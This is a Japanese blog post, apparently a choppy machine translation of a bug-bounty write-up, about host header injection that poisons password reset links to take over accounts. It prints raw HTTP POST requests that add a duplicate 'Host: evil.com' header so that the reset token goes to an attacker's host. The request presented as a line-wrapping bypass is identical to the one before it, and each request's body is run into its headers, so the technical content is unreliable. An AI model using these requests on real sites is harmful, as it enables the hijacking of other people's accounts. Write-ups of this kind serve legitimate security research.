Hello there, ('ω')ノ
アカウント乗っ取りへのホストヘッダインジェクションを。
脆弱性:
ホストヘッダーインジェクション
パスワードリセットの欠陥
アカウントの乗っ取り
記事:
https://systemweakness.com/host-header-injection-lead-to-account-takeover-2f025a645d13
今回は、ワンクリックで他のユーザアカウントを引き継ぐように導く。
プライベート侵入テストプログラムでの発見について。
ワンクリックでアカウントの乗っ取りで、JSONでパラメータを検索し。
パスワードのリセットリンクのホストを変更する方法に気付いて。
まず、ウェブサイトを分析すると。
自分の電子メールアドレスで登録できますが。
電話番号などの完全なプロファイルを要求する情報は他になくて。
お気に入りのエンドポイントでは、パスワードを忘れた機能で。
メールアドレスを送信した後、次の方法で作成されたリンクを受け取って。
1.ホスト
2.パス
3.トークン
ユーザアカウントを引き継ぐまでユーザトークンにアクセスしたいと思って。
このシナリオでは、ユーザがそれをクリックして。
パスワードリセットリンクのホストを変更すると。
ログにトークンがあって。
ホストヘッダインジェクションの脆弱性とは。
AcunetixとPortswiggerには、この脆弱性に関するいくつかの有用な情報があって。
この脆弱性は別の方法で使用できて。
重要な例:
1.キャッシュポイズニング
2.パスワードポイズニングのリセット
今回はパスワードポイズニングに焦点を当てることに。
この脆弱性をどのように検出するかというと。
アカウントを作成してからパスワードのリセットリンクを要求する必要があるため。
この脆弱性を自動化することはできず。
このシナリオは手動で行う必要があって。
ファジング用のツールを使用できないレート制限として。
難しい方法がある場合があって。
FUZZに役立つツールには、ParamminerとFFUFがあり。
SecListで、FUZZのための素晴らしいリストを見つけることができて。
最後に、パスワードをリセットしてリクエストをキャプチャし。
いくつかの一般的なヘッダをテストするように依頼したとき。
メインストーリーがあったので。
パスワードリセットのホストリンクを変更することができて。
POST /reset-password HTTP/1.1
Host: Site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://Site.com
Connection: close
Upgrade-Insecure-Requests: 1_token=S1zqDwFDGrnFQW1MfPJJ0ormBXAAi7DoSfdn8Pap&name=arman&email=attacker@evil.com
共通リストヘッダの1つを挿入し、400ステータスを戻して。
POST /reset-password HTTP/1.1
Host: Site.com
Host: evil.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://Site.com
Connection: close
Upgrade-Insecure-Requests: 1_token=S1zqDwFDGrnFQW1MfPJJ0ormBXAAi7DoSfdn8Pap&name=arman&email=attacker@evil.com
この位置の通常のバイパスの1つは、行の折り返しを追加することです。
POST /reset-password HTTP/1.1
Host: Site.com
Host: evil.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://Site.com
Connection: close
Upgrade-Insecure-Requests: 1_token=S1zqDwFDGrnFQW1MfPJJ0ormBXAAi7DoSfdn8Pap&name=arman&email=attacker@evil.com
このバイパスを使用した後、200を取得し。
パスワードポイズニングのリセットリンクを受け取って。
Best regards, (^^ゞ